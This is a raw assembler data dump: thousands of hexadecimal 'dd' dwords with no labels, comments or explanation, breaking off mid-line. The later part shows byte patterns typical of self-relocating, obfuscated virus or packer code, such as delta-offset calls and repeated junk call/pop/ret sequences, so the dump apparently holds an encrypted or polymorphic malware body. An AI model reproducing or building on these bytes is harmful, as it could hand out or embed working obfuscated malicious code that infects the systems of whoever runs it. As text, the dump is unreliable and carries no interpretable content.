3FF410AFh, 39582F47h, 6708FCAEh dd 229344B4h, 0C2AAF7A9h, 0A40E35A4h, 3F860B5Bh, 0D13722C4h dd 39B022ADh, 679B7C8Eh, 3D085627h, 3D32662Fh, 390B22B3h dd 2B4674E8h, 93CEC614h, 0B16A381Bh, 39A1CB15h, 0E87F22AEh dd 0E314890Eh, 71D52BE8h, 76B80205h, 7AFBB89Fh, 0D19322C4h dd 396122ADh, 60737B8Eh, 3D7C6E27h, 3D08662Fh, 391622B2h dd 0F4C873EFh, 171E6ABDh, 0E4734B7Fh, 0B29A9DA1h, 0B243A9B5h dd 6F5848B5h, 392C2146h dd 0FA4802AEh, 1D7FABF0h, 1DC1A3AAh, 39C237AAh, 0FA3764AEh dd 3159E5D0h, 755822AEh, 0B273819Ch, 3654AA42h, 2280D111h dd 304CBF27h, 0E1F124EAh, 1294AFA5h, 0A43924EAh, 3F1C2113h dd 0D17E22C4h, 391622ADh, 63C8788Eh, 3DA17627h, 3DE6662Fh dd 396122B2h, 0C7370ECh, 19258C20h, 0FA73893Bh, 0D893AB5Bh dd 0FF0D66ADh, 7D87CB2Bh, 39A865A8h, 3962CAFFh, 609022AEh dd 75D17B6Dh, 7DAD268Ah, 390D268Ah, 684A22AEh, 0D9B54E6Dh dd 0D211B2D6h, 6FAC4A84h, 3658742Ah, 1C5822AEh, 0BA56321Ch dd 287C5A34h, 79B9D774h, 1D3A2602h, 63A76B24h, 0E545262Fh dd 53D17828h, 3AB075AEh, 192C22AEh, 0B049E1F1h, 0B80F06D2h dd 208106EAh, 7EC222AEh, 0CA9CE1F9h, 0D7E16DFDh, 8CA71B18h dd 3F683547h, 0D14122C4h, 390B22ADh, 66467D8Eh, 3DE65E27h dd 3D45662Fh, 39B022B6h, 0A9B75E9h, 180AC59Bh, 39162A47h dd 0BC14E7AEh, 0FD292224h, 9647AF54h, 0B96765D9h, 0E94F225Fh dd 0B0A69DA1h, 7D01132Bh, 6A1648A8h, 390B2146h, 0FADE02AEh dd 1D9EABF5h, 1D25A3AAh, 39B039AAh, 0FA0B61AEh, 518CBA25h dd 77C62E64h, 690B48EEh, 39852146h, 0FA9A02AEh, 1D25ABF6h dd 1DF4A3AAh, 39583BAAh, 0FA7C62AEh, 37E1E170h, 0F7B15284h dd 0B2D315D8h, 53C2A9AEh, 3A8977AEh, 19B022AEh, 0B005E1F3h dd 0B82806C2h, 2D1206EAh, 7C0B22AEh, 0B019E1FBh, 7DEE2B2Bh dd 6C6148A8h, 39B02146h, 0FA0502AEh, 1D40ABF3h, 1D52A3AAh dd 390B37AAh, 0FAD067AEh, 0BCCDA122h, 396122ABh, 0C91F2210h dd 0F0E5A9EFh, 362A66B8h, 39162423h, 9CB6A9AEh, 0D08366B5h dd 39C2239Bh, 0D13322C4h, 39B022ADh, 639B788Eh, 3D087627h dd 3D32662Fh, 390B22B4h, 0CA4670ECh, 0B2E829A2h, 0EAEAA267h dd 8ECAA723h, 84D324E9h, 3F680BFBh, 981B9DFEh, 3D824C34h dd 0C90E448Ah, 3B63B751h, 390B24EAh, 39B3CAF9h, 667822AEh dd 45A57D6Dh, 7D97268Ah, 391E268Ah, 6EC222AEh, 59BA746Dh dd 800B727h, 0B4D124EAh, 7EEFA233h, 1DF6A2A8h, 4BAC42FEh dd 5961FCBCh, 81E3FA25h, 58A3029Dh, 59453E27h, 26359725h dd 6BE024EAh, 586C2CFFh, 0D07642FEh, 390B22BAh, 0B86C0D41h dd 0F40A7EBDh, 0E4467AA7h, 0B220E2AAh, 758BC1F1h, 392CA7A1h dd 837722AEh, 15517E6Ch, 1D81ABCFh, 0D19422C4h, 396122ADh dd 67737C8Eh, 3D7C5627h, 3D08662Fh, 391622B9h, 0E1C874E8h dd 363EBB48h, 39C22422h, 77A0A3AEh, 0C6FC7299h, 7D440F3Bh dd 0B62370A8h, 391622B8h, 390B3246h, 0D73390AEh, 7CFF96A2h dd 0F7300DA9h, 83F09284h, 0B0077C84h, 7D2CA32Bh, 6E1648A8h dd 390B2146h, 0FADA02AEh, 1DBEABF1h, 1D25A3AAh, 39B03BAAh dd 0FA0F65AEh, 9F56A7E1h, 8E190362h, 0D08EE455h, 6A8366ACh dd 0F23310h, 3965CAF4h, 0BDCF22AEh, 873E8829h, 0B27C18D1h dd 1D52A979h, 3A8C2DAAh, 5F8522AEh, 3949E825h, 0B093A9C8h dd 0D1B406EAh, 395822BFh, 91D2B2C3h, 37EC96CDh, 0FC1D1F99h dd 0DBD28BFAh, 0F27C44A6h, 0B2397B5Eh, 7DBC5B23h, 0D0EDDDA8h dd 532A66B9h, 3AFE77AEh, 190B22AEh, 0B0D8E1F3h, 0B8C606C2h dd 226506EAh, 7CB022AEh, 0E6EFE1FBh, 0D69AB7E3h, 0BC9BCD32h dd 3F4C5501h, 0D1D222C4h, 39C222ADh, 66A27D8Eh, 3D945E27h dd 3D7C662Fh, 392C22B6h, 0C8D575E9h, 363EE951h, 8A89785h dd 0E93D24EAh, 100CA727h, 0B8D624EAh, 0FF72FB77h, 7D2ECB2Bh dd 0B61965A8h, 390B22BCh, 39852F47h, 0CE247CAEh, 57EDD4F5h dd 0D776DAFAh, 3DB0AFB2h, 0A92C22AEh, 59B750BBh, 8B4C3210h dd 0EE3B44BEh, 69924306h, 1D25A9F7h, 59B0A9AAh, 727F9816h dd 367E72C8h, 391ECB9Fh, 0E47322AEh, 16EF54D1h, 61983D14h dd 1D25ABCFh, 6148A9AAh, 0D10E22C4h, 392C22ADh, 67D57C8Eh dd 3D2F5627h, 3DA1662Fh, 39C222B8h, 0F8A274E8h, 0C648190Eh dd 7D4FCB1Bh, 3DA82DA8h, 5F1622AEh, 0B49C5F11h, 7EF28D2Bh dd 0C57A9A8h, 0C66766B0h, 0EC61A37Eh, 0B049FD52h, 7D32232Bh dd 0BCD0D7A8h, 3F4F2047h, 0B01029FDh, 0D1C466B0h, 396122AAh dd 0A0897D3Eh, 3608F525h, 392C2122h, 0F39D44AEh, 3D2F6625h dd 2B6C2225h, 0D0C222AEh, 0EF1E5FC9h, 68967563h, 7140B7C9h dd 858F2B48h, 1D52ABB9h, 391ACBAAh, 22F522AEh, 136A9DEEh dd 0CA1EA2A4h, 4DB636FBh, 612C2FE9h, 392AA5A1h, 0BC9F22AEh dd 3F4F3E53h, 2E6C9751h, 0B2A424EAh, 96E4AF59h, 5FB665D9h dd 0C6E78314h, 0C0A9AB7Eh, 8C1066A5h, 0C5B544CDh, 0D000E40Fh dd 6EC466ACh, 51939DA1h, 0B1E34762h, 0B5BD9BC8h, 0F308162Fh dd 0A0E7599h, 7D1EA723h, 0D030DDA8h, 53C466B9h, 3A8971AEh dd 19B022AEh, 0B003E1F5h, 0B82806F2h, 211206EAh, 7A0B22AEh dd 0F97BE1FDh, 3A3B64E4h, 7D75D73Bh, 9635AFA8h, 595E65D9h dd 392C2D47h, 0EC49CFAEh, 7F9E7FC7h, 0FE5F395Ch, 85E7765Fh dd 0C600D324h, 0B835AB7Eh, 535E668Ch, 3AC470AEh, 191622AEh dd 0B051E1F4h, 0B88106FAh, 22C606EAh, 7B6122AEh, 4E3CE1FCh dd 0D3415B4Eh, 0B24A0D59h, 3913CA55h, 4B1D22AEh, 600B2232h dd 3B2BA768h, 0B22224EAh, 0C6E34A5Fh, 0C9D29077h, 4208162Fh dd 53186B21h, 3AE375AEh, 198522AEh, 0B09DE1F1h, 0B86506D2h dd 2CB406EAh, 7E5822AEh, 0F135E1F9h, 31679F25h, 8CF424EAh dd 3FC13547h, 39C4ADA1h, 0A4E822AEh, 3FF410FBh, 4EF7A723h dd 394624E9h, 3915CAF8h, 672B22AEh, 4D0C7C6Dh, 7D43268Ah dd 397D268Ah, 6FF622AEh, 0FDDE346Dh, 0F94882EAh, 3A41F69Eh dd 7D11033Bh, 8E8A7CA8h, 5312DD67h, 3A8971AEh, 19B022AEh dd 0B003E1F5h, 0B82806F2h, 2F1206EAh, 7A0B22AEh, 6B19E1FDh dd 0B447ABC9h, 536766B1h, 3A5871AEh, 195822AEh, 0B077E1F5h dd 0B81206F2h, 2D0F06EAh, 7A8522AEh, 0B229E1FDh, 7D745723h dd 4935AFA8h, 595E6519h, 1959A725h, 841724EAh, 3F4F3103h dd 6EE572CFh, 0D19CB719h, 396122A3h, 0E43129B7h, 0C1BD3C60h dd 0EB93C83Fh, 0B0777888h, 396106AAh, 3986CAF9h, 66E222AEh dd 45E87D6Dh, 7D31268Ah, 394E268Ah, 6E6B22AEh, 83BBBD6Dh dd 989EDD57h, 0B28366ACh, 7DEAD323h, 0E0F413A8h, 0B2B66683h dd 0AE81A276h, 392C3347h, 7C3E80AEh, 1F8421EAh, 9B6FC0F7h dd 0FF0AED98h, 0BCEC0D10h, 3FF795CAh, 0D10B22C4h, 392C22ADh dd 62D5798Eh, 3D2F7E27h, 3DA1662Fh, 39C222B9h, 22A271EDh dd 0C0136CA7h, 6E0A723Eh, 631D2DF1h, 94A872F6h, 0A92B65BEh dd 0D1D322C4h, 39C222ADh, 67A27C8Eh, 3D945627h, 3D7C662Fh dd 392C22BBh, 4CD574E8h, 5AC5A3BAh, 86ADD310h, 435C235Fh dd 698FA83Dh, 5323F224h, 3AB070AEh, 192C22AEh, 0B04CE1F4h dd 0B80F06FAh, 2C8106EAh, 7BC222AEh, 0B5A9E1FCh, 3A1DB7A7h dd 0B23E24EAh, 14B9DD55h, 0C11066B2h, 258AA727h, 0BCAC24EAh dd 3F863C1Bh, 2F1CA769h, 39BF24EAh, 0ACA722AEh, 3F683E2Fh dd 0D14322C4h, 390B22ADh, 64467F8Eh, 3DE64E27h, 3D45662Fh dd 39B022B2h, 529B77EBh, 9BC047EBh, 0CD31EB76h, 32C595A1h dd 7DA9CB23h, 0D447ABA8h, 0B26766A8h, 7DBDE32Bh, 0FEC5AFA8h dd 0B02A6567h, 849B23EDh, 3F4F11A7h, 0F0249723h, 0A7B24E9h dd 0CA6122AEh, 8183C90Ah, 395822AEh, 3A58E2A5h, 0B2163A6Ch dd 6A0706EAh, 39852246h, 0FA4379AEh, 396122B9h, 29947E27h dd 2D7C6627h, 991B9AF5h dd 0D9E92231h, 3D2F6625h, 39EFC251h, 39C1CAFDh, 624122AEh dd 6539796Dh, 7DD9268Ah, 3931268Ah, 6A5522AEh, 6514A46Dh dd 0A8ACBB3Ah, 0D1742FE7h, 396122BFh, 1835C697h, 6A756217h dd 0C957DF6Fh, 5E1629BCh, 378F2DB4h, 0D18522AEh, 39C222A6h dd 15B59A8Dh, 0AB0724C7h, 53E97BF1h, 6E2C48CFh, 39162146h dd 0FA5402AEh, 1DF9ABF1h, 1D86A3AAh, 396138AAh, 0FAE765AEh dd 0B89F8818h, 0B47670EFh, 7EA14613h, 5C86AFA8h, 81836564h dd 0A1E4899Bh, 3508A79Dh, 0F69B24EAh, 0C459CB6Fh, 0ADD15B22h dd 8E398522h, 2761017Ah, 2F3D4566h, 0B53D9466h, 83395822h dd 0A4F305E9h, 8D8BD98Bh, 6440801h, 0E9F98B66h, 2Eh, 8800Fh dd 0F600000h, 81h, 60616100h, 0EBD08166h, 870F6163h, 1 dd 8A0FC3F9h, 0Ah, 3EB86660h, 5EBF6687h, 0C08B6102h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 71C35646h, 820F2BFDh dd 1, 0CDBD83F8h, 64420h, 0BD830975h, 6440B25h, 50197400h dd 0B8C08B53h, 4B9h, 22298589h, 9D8D0644h, 646A8B6h, 585BD3FFh dd 0B25BD83h, 74000644h, 0B8535017h, 4B9h, 22298589h, 9D8D0644h dd 646A557h, 585BD3FFh, 10E9h, 548D6400h, 976ACE91h, 668D8ED2h dd 0AFD96B36h, 6AF960h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 427D70C3h, 0C08B0224h, 0C18B40F8h dd 2CDD8D89h, 0FA8B0644h, 4EBh, 67BE0000h, 8952ADD2h, 4410C5BDh dd 0E1858D06h, 906441Bh, 4417AD8Dh, 4895006h, 55006A24h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 87101576h, 8F0FFEh, 8B000000h, 4417B1BDh, 0E9006A06h dd 0Fh, 0A672B00Ch, 3EE6A774h, 0ED1C4E78h, 292B2F81h, 441BED85h dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0F9A9C351h, 0E9FDCF11h, 6E858D87h dd 6A0647CDh, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 0C0B5C351h, 149D269Bh, 85ABF8Eh dd 0C0834A7Dh, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 897EA1CEh, 4407A5B5h dd 66509006h, 90BBDABEh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 7DC35545h, 0AD733D6h, 8687BE66h, 6A006Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 2529D5C3h, 8BAC9FFFh, 8BFB8BF1h, 441C25B5h, 0F006A06h dd 689h, 91B58B00h, 0FF06441Dh, 44182595h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0FCBA9FDDh, 9A979D8Dh, 6A0647h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 0A720DFC3h, 65871D82h dd 6AD3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h dd 55450000h, 950667C3h, 0FE951B1h, 18000000h, 97BC2317h dd 0B18B3204h, 76039DCFh, 85FF46D6h, 64408E9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0EC35646h, 0C576C0FAh dd 80629C74h, 0FE8B6667h, 787E9h, 0E800h, 815D0000h, 47CD78EDh dd 0BD81F806h, 644167Dh, 7D0h, 14E860Fh, 95010000h, 6442E6Dh dd 1FC59D8Bh, 6A0644h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 14F6F3C3h, 0C7CDC629h, 9E9h, 0A2BDE100h dd 0C453DABFh, 0E3815D33h, 100h, 1FC19531h, 0DB0B0644h dd 0DB850Fh, 0BD830000h, 647CB78h, 71840F00h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 74AAC355h, 21DFBB4Bh, 0E950FC13h, 13h, 0C2F4C5Eh dd 0A2864C07h, 0A3C9ECFAh, 0EDAE7EFCh, 5ED2D7ABh, 6830Fh dd 66500000h, 5E0085BEh, 90E9h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1504h, 0C3524200h, 0E781EB16h dd 16B4A199h, 0CB7885C7h, 10647h, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 42D5BEC3h dd 2AC1BD8Bh, 89520644h, 441C9585h, 32E95E06h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 1D70C351h, 8A34743Dh, 7885C739h, 647CBh dd 8B000000h, 440E15B5h, 0C59D8D06h, 0F806441Fh, 0FEFF2381h dd 9501FFFFh, 64420C9h, 6ADB8C66h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 7C7EC353h dd 8BE62058h, 0DD8589F9h, 0F6064419h, 840F04C3h, 5Ch, 40D68166h dd 359D09DEh, 0FF064408h, 441C8195h, 48F0F06h, 66000000h dd 90FCF3BEh, 0DE9h, 73E53B00h, 33965505h, 930DD417h, 0E9501DDEh dd 0Ah, 53B9D2D8h, 5304E6ADh, 0F9074CEh, 1188h, 5E800h dd 0D9790000h, 2BFB583Dh, 440FE5BDh, 0BD8B5E06h, 6440291h dd 47EE9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 0DF157FD2h, 9BA7CFDBh, 8B00B0AFh dd 442289B5h, 12E906h, 39D90000h, 4869269Fh, 0BD657C81h dd 0BDA8689Eh, 96F7BB63h, 6A70E6h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 0D39EB6C3h, 917F6E99h dd 71E4CEC7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 0F0C35646h, 0D8B60F16h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0F2C35545h, 5F32F99h, 8B66A7D5h dd 6BAF7h, 0C38B0000h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 28C35545h, 9FC8CE1Fh, 0F04E8C1h, 68Bh dd 89958900h, 6606442Ah, 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 0A4918AC3h, 0B58B06BAh dd 64402D5h, 6AD82Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 1D0424h, 57470000h, 0E82D3FC3h, 9F7580E0h, 0F636582h dd 684h, 99B58B00h, 50064423h, 1D6EBE66h, 6A241C89h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 6539C353h, 68E0Fh, 9D290000h, 6440999h, 13840Fh, 0EE90000h dd 94000000h, 0B4330D74h, 0E05BB98Ah, 0A69284FDh, 7DB5FF14h dd 6A064416h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 448FC352h, 99FCB48Dh, 95313A41h dd 6442EDDh, 13E9h, 32CB7600h, 920A198h, 461CB915h, 19AB1FEBh dd 0D16E5324h, 1C4D95FFh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 0EEEFB8C3h, 0AE781EABh dd 0D68145C7h, 22B0EB2Eh, 816600B0h, 0E6C2E3D6h, 860F5270h dd 13h, 0EE9h, 8F1E9800h, 3E6A6F0Bh, 9E806394h, 5E509EF5h dd 0BE6671E4h, 613C1E1Dh, 249830Fh, 0BF0F0000h, 0D8B60FF8h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 87C35242h dd 9E9D674h, 0D0000000h, 23395576h, 40DD8B7Eh, 6BAh, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0F6ADE321h, 0C38BDD1Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 5CC35545h, 0CF4B4863h, 87D89017h, 68D0Fh dd 0B58B0000h, 6440DF1h, 6A04E8C1h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 9CE7C355h dd 0B5333667h, 6441081h, 10E9h, 0E7575400h, 913EB178h dd 0EB942670h, 78D6925h, 0E2F766A7h, 6AD82Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 0D3A9B8C3h dd 0B58B58F8h, 6440305h, 880FD82Bh, 14Fh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 2EC35646h, 0DE9h dd 6AAABB00h, 0D0361D6Bh, 70F61C8h, 7B99159h, 29000000h dd 441AADB5h, 0C18306h, 0F9BF0F51h, 3D85895Eh, 3B064400h dd 860FD9h, 0F000001h, 185h, 8C66F800h, 51006AD9h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 0E34E49E0h, 0DDCFF130h, 0C1F6217Ch, 9C840F04h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 5584C357h, 0B985897Fh, 0FF064425h, 441C8195h dd 0B58B5006h, 64433C5h, 0BD895B5Fh, 6441419h, 8D89C32Bh dd 6440DF1h, 8343Dh, 50860F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6A33C356h dd 0FC3BE15Ah, 13D8BCD6h, 83DB58Bh, 4CE90644h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 8536C350h, 8BFBEFABh, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 39E9B783h dd 362AFC8Fh, 6DBE1DC7h, 8B0C4024h, 6AD88BC3h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 0F0AEC353h, 4897202Fh, 55C73EEFh, 25AD8D29h, 85C70644h dd 6442C99h, 323803BDh, 68D0Fh, 0B5090000h, 6441A55h, 6AC08Bh dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 2DA003C3h, 0BE632AB3h, 0CE816622h, 0BD81A329h, 644167Dh dd 7D0h, 23850Fh, 0B58B0000h, 6441559h, 0EE8h, 0B6660D00h dd 5D36C0BAh, 7B539F8Ch, 6641937Eh, 0FF5FF08Bh, 44167D85h dd 7DB5FF06h, 0F064416h, 689h, 0B9852900h, 0FF06442Eh dd 441C4D95h, 0F38B6606h, 5678B890h, 0BF0F1234h, 0AF9D8DF9h dd 0E90647D4h, 0FFFFF8B1h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 4C35242h, 0E978B73Ch, 14h, 35496959h dd 26C94935h, 0A01AC8E3h, 231C79Ah, 934B8C69h, 6AC18Bh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0A72742C3h, 387302A3h, 6850Fh, 9D090000h, 6440D45h dd 4EB5E53h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 15C35646h dd 6A7EA4h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 3E3B3BC3h, 1BE1858Dh, 6A0644h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 8289D5C3h dd 59EBF81Fh, 0BDB58BFDh, 50064410h, 5B526050h, 4895E61h dd 50006A24h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 74CB6082h, 6ABB424Ah, 6A006A00h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 711C355h, 0BAEAAA3Bh, 0D7A2858Dh, 6A0647h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 972DBCC3h dd 0DB24612Fh, 1305BF92h, 0C083760Bh, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 89FD2F43h, 7E7EBF66h, 32B5B529h, 66900644h, 50A178BEh dd 0FE8h, 0C0D1C700h, 0D4F8E2A7h, 8D8323ECh, 9BC86A89h dd 310F5250h, 9E9h, 0BB31C00h, 0D3149023h, 585AFAAFh, 6A905Fh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 0F6BD0C3h, 1E84h, 0CE800h, 0F7D0000h, 0C23C4143h, 0F0BEF7Bh dd 6E8AF01h, 0E6000000h, 518D3B80h, 6A5F5F9Ch, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h dd 0F6E1AF40h, 0CAA718FAh, 0FF006AF5h, 44182595h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 60A1E04Fh, 31B58D89h, 0C6800644h, 0BF666124h, 9D8DB0EEh dd 6479A97h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 24C35141h, 3BF74600h, 816613BAh, 0E94879DFh, 5 dd 167EB477h, 6AD3FFC0h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0B0DBC352h, 11E8ABh dd 5B460000h, 0C19EB457h, 0C8F1B362h, 8AD53648h, 8BFF8BF0h dd 442E05BDh, 0DE95E06h, 1A000000h, 31C79AA0h, 4B8C6902h dd 26539C93h, 8E985FFh, 5E570644h, 0E42E9h, 0E800h, 815D0000h dd 47D7ACEDh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 9654CCCBh, 81A1049Ch, 44167DBDh dd 7D006h, 0D6860F00h, 6A000001h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 408FC352h dd 3E03A5A3h, 9C58D29h, 9D8B0644h, 6441F25h, 0E381F08Bh dd 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 47C35646h, 18860F44h, 0E8000000h, 10h, 431F11Ah dd 2DC31C24h, 0C43629E4h, 453E7D74h, 605F6160h, 0FF5B589h dd 0B58B0644h, 644183Dh, 0FDB0B61h, 0D185h, 9E900h, 0D2DB0000h dd 0E4CBF04Ah, 0F11DE3Fh, 889h, 0B58B5600h, 64424E1h, 2EBD835Eh dd 647D5h, 57840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0E5D48FC3h, 21958976h dd 0E906440Dh, 0B9h, 0FE8h, 8ED40200h, 815C9ADFh, 69950E08h dd 8249BC1Dh, 10E9h, 0AEFE9E00h, 0E7ADFA6Dh, 0A099BD6Eh dd 7A4D62E3h, 0F5525EDEh, 2E85C75Eh, 10647D5h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 8E85C355h, 5EE9487Eh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 0C22DC353h, 16AD0342h, 85C7D575h, 647D52Eh, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0A4C35141h dd 0FBBA5370h, 0F78B6055h, 31759589h, 8B610644h, 442559B5h dd 259D8D06h, 6A06441Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 81A8C357h, 0FFFEFF23h dd 10E960FFh, 85000000h, 5E444AAEh, 0B42AEA3Ah, 4A26063h dd 6676F0DFh, 60C7E781h, 0DB8C6661h, 0C412ADBEh, 4C3F653h dd 96840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 6C929AC3h, 2DB54F57h, 0F38B66B6h dd 1C8195FFh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1A0424h, 53430000h, 9DB802C3h, 39EC4A46h, 1F89B523h dd 50900644h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 5E860C9h, 0D4000000h, 7D98DE54h dd 1D75B529h, 815A0644h, 902237D2h, 8B57617Bh, 0B5035FF8h dd 64429B9h, 3CCE9h, 6E96000h, 83000000h, 8AAA5B9Bh, 0D881665Fh dd 0E861F17Ch, 0Ah, 0F09A4BB5h, 1F72EBFBh, 11E98AA8h, 51000000h dd 9E16A4EDh, 37DEEDB3h, 4076958Dh, 0C2A1AA40h, 6A00B05Fh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 0A558C350h, 5E098BEAh, 86C438E5h, 0BF6670E6h dd 0F561BF5h, 68Ch, 0C1BD8B00h, 5F064408h, 6A71E4h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0FAFAC8C3h, 0FEB70F14h, 0D8B60FF9h, 6BAh, 0AE800h, 0EE950000h dd 0C56554B1h, 0EF22E261h, 18E5B58Bh, 665F0644h, 8BC1FEBEh dd 9E781C3h, 0C15D368Fh, 8D8904E8h, 6441A95h, 81E2F766h dd 0D159F1EEh, 3CF68173h, 2B13BA91h, 55006AD8h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0E8B570D6h dd 608B3C58h, 28E0Fh, 61600000h, 0A45B589h, 50610644h dd 89241C89h, 4430499Dh, 7DB5FF06h, 0F064416h, 0DE8FEBFh dd 9D000000h, 9A7993D6h, 0CB3606B6h, 0B45C3F72h, 5EFFB70Fh dd 1C4D95FFh, 0B5230644h, 6440CE9h, 2BDB589h, 0B00644h dd 68E0Fh, 0F6810000h, 35AED4C5h, 6A70E6h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 685D3AC3h dd 0F08B6661h, 0DCD68166h, 6A71E4C8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 939FC350h dd 0BAB06490h, 8BA58E3Ah, 0F613CF8h, 21C83h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0C6C210Eh, 52AA25D2h, 0D8B60F5Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ah, 0EEC35646h, 0F4216E0h, 850FA1DEh dd 6, 235BD8Bh, 85010644h, 6440695h, 6BAh, 1D958900h, 8B064426h dd 3CBF66C3h, 4E8C1FEh, 311D8D31h, 0F7660644h, 50006AE2h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 1BAD262Bh, 9E9EFh, 0A9270000h, 1F4585D0h, 23875905h dd 442CE9BDh, 6AD82B06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 11B1C352h, 6A5837B7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 46EBC353h, 6E100678h, 8B66A150h, 0FD82BFBh dd 12088h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 4E8CD68Ch, 0B9DB5508h, 7, 16C99D89h dd 0C1830644h, 4BE68100h, 3B53F723h, 0E2860FD9h, 6A000000h dd 3E85200h, 20000000h, 